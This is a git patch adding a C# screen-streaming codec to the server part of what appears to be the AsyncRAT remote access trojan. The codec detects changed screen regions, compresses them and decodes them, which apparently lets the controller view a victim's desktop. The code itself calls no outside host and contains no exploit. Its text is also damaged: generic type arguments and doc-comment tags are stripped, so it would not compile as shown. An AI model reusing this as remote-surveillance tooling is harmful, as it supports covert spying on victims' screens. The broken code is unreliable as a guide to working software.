From 547e363b68f5147c459f534f98a9546a97a82d17 Mon Sep 17 00:00:00 2001 From: NYAN CAT <32758426+NYAN-x-CAT@users.noreply.github.com> Date: Mon, 16 Oct 2023 17:20:42 +0300 Subject: [PATCH] Create UnsafeStreamCodec.cs --- .../Server/StreamLibrary/UnsafeStreamCodec.cs | 378 ++++++++++++++++++ 1 file changed, 378 insertions(+) create mode 100644 AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs new file mode 100644 index 0000000..cd48823 --- /dev/null +++ b/AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs @@ -0,0 +1,378 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +namespace Server.StreamLibrary +{ + public class UnsafeStreamCodec : IDisposable + { + internal Size Resolution { get; private set; } + internal Size CheckBlock { get; private set; } + internal int ImageQuality + { + get { return _imageQuality; } + private set + { + lock (_imageProcessLock) + { + _imageQuality = value; + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + + _jpgCompression = new JpgCompression(_imageQuality); + } + } + } + + private int _imageQuality; + private byte[] _encodeBuffer; + private Bitmap _decodedBitmap; + private PixelFormat _encodedFormat; + private int _encodedWidth; + private int _encodedHeight; + private readonly object _imageProcessLock = new object(); + private JpgCompression _jpgCompression; + + /// + /// Initialize a new instance of UnsafeStreamCodec class. + /// + /// The quality to use between 0-100. + /// The monitor used for the images. + /// The resolution of the monitor. + internal UnsafeStreamCodec(int imageQuality) + { + this.ImageQuality = imageQuality; + this.CheckBlock = new Size(50, 1); + } + + public void Dispose() + { + Dispose(true); + + // Tell the Garbage Collector to not waste time finalizing this object + // since we took care of it. + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + if (_decodedBitmap != null) + { + _decodedBitmap.Dispose(); + } + + if (_jpgCompression != null) + { + _jpgCompression.Dispose(); + } + } + } + + internal unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, + Stream outStream) + { + lock (_imageProcessLock) + { + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*)scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } + + if (!outStream.CanWrite) + { + throw new Exception("Must have access to Write in the Stream"); + } + + int stride = 0; + int rawLength = 0; + int pixelSize = 0; + + switch (format) + { + case PixelFormat.Format24bppRgb: + case PixelFormat.Format32bppRgb: + pixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + pixelSize = 4; + break; + default: + throw new NotSupportedException(format.ToString()); + } + + stride = imageSize.Width * pixelSize; + rawLength = stride * imageSize.Height; + + if (_encodeBuffer == null) + { + this._encodedFormat = format; + this._encodedWidth = imageSize.Width; + this._encodedHeight = imageSize.Height; + this._encodeBuffer = new byte[rawLength]; + + fixed (byte* ptr = _encodeBuffer) + { + byte[] temp = null; + using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) + { + temp = _jpgCompression.Compress(tmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); + } + return; + } + + if (this._encodedFormat != format) + { + throw new Exception("PixelFormat is not equal to previous Bitmap"); + } + else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) + { + throw new Exception("Bitmap width/height are not equal to previous bitmap"); + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + long totalDataLength = 0; + + List blocks = new List(); + + Size s = new Size(scanArea.Width, CheckBlock.Height); + Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); + + int lasty = scanArea.Height - lastSize.Height; + int lastx = scanArea.Width - lastSize.Width; + + Rectangle cBlock = new Rectangle(); + List finalUpdates = new List(); + + s = new Size(scanArea.Width, s.Height); + + fixed (byte* encBuffer = _encodeBuffer) + { + var index = 0; + + for (int y = scanArea.Y; y != scanArea.Height; y += s.Height) + { + if (y == lasty) + { + s = new Size(scanArea.Width, lastSize.Height); + } + + cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height); + + int offset = (y * stride) + (scanArea.X * pixelSize); + + if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) + { + index = blocks.Count - 1; + + if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y) + { + cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, + blocks[index].Height + cBlock.Height); + blocks[index] = cBlock; + } + else + { + blocks.Add(cBlock); + } + } + } + + for (int i = 0; i < blocks.Count; i++) + { + s = new Size(CheckBlock.Width, blocks[i].Height); + + for (int x = scanArea.X; x != scanArea.Width; x += s.Width) + { + if (x == lastx) + { + s = new Size(lastSize.Width, blocks[i].Height); + } + + cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height); + bool foundChanges = false; + uint blockStride = (uint)(pixelSize * cBlock.Width); + + for (int j = 0; j < cBlock.Height; j++) + { + int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X); + + if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) + { + foundChanges = true; + } + + NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); + //copy-changes + } + + if (foundChanges) + { + index = finalUpdates.Count - 1; + + if (finalUpdates.Count > 0 && + (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) + { + Rectangle rect = finalUpdates[index]; + int newWidth = cBlock.Width + rect.Width; + cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); + finalUpdates[index] = cBlock; + } + else + { + finalUpdates.Add(cBlock); + } + } + } + } + } + + for (int i = 0; i < finalUpdates.Count; i++) + { + Rectangle rect = finalUpdates[i]; + int blockStride = pixelSize * rect.Width; + + Bitmap tmpBmp = null; + BitmapData tmpData = null; + long length; + + try + { + tmpBmp = new Bitmap(rect.Width, rect.Height, format); + tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), + ImageLockMode.ReadWrite, tmpBmp.PixelFormat); + + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X); + NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); + //copy-changes + offset += blockStride; + } + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + length = outStream.Length; + long old = outStream.Position; + + _jpgCompression.Compress(tmpBmp, ref outStream); + + length = outStream.Position - length; + + outStream.Position = old - 4; + outStream.Write(BitConverter.GetBytes(length), 0, 4); + outStream.Position += length; + } + finally + { + tmpBmp.UnlockBits(tmpData); + tmpBmp.Dispose(); + } + + totalDataLength += length + (4 * 5); + } + + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4); + } + } + + internal unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) + { + if (length < 4) + { + return _decodedBitmap; + } + + int dataSize = *(int*)(codecBuffer); + + if (_decodedBitmap == null) + { + byte[] temp = new byte[dataSize]; + + fixed (byte* tempPtr = temp) + { + NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); + } + + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + else + { + return _decodedBitmap; + } + } + + internal Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int dataSize = BitConverter.ToInt32(temp, 0); + + if (_decodedBitmap == null) + { + temp = new byte[dataSize]; + inStream.Read(temp, 0, temp.Length); + this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + + return _decodedBitmap; + } + + using (Graphics g = Graphics.FromImage(_decodedBitmap)) + { + while (dataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, tempData.Length); + + Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), + BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); + int updateLen = BitConverter.ToInt32(tempData, 16); + + byte[] buffer = new byte[updateLen]; + inStream.Read(buffer, 0, buffer.Length); + + using (MemoryStream m = new MemoryStream(buffer)) + { + using (Bitmap tmp = (Bitmap)Image.FromStream(m)) + { + g.DrawImage(tmp, rect.Location); + } + } + + dataSize -= updateLen + (4 * 5); + } + } + Resolution = _decodedBitmap.Size; + return _decodedBitmap; + } + } +}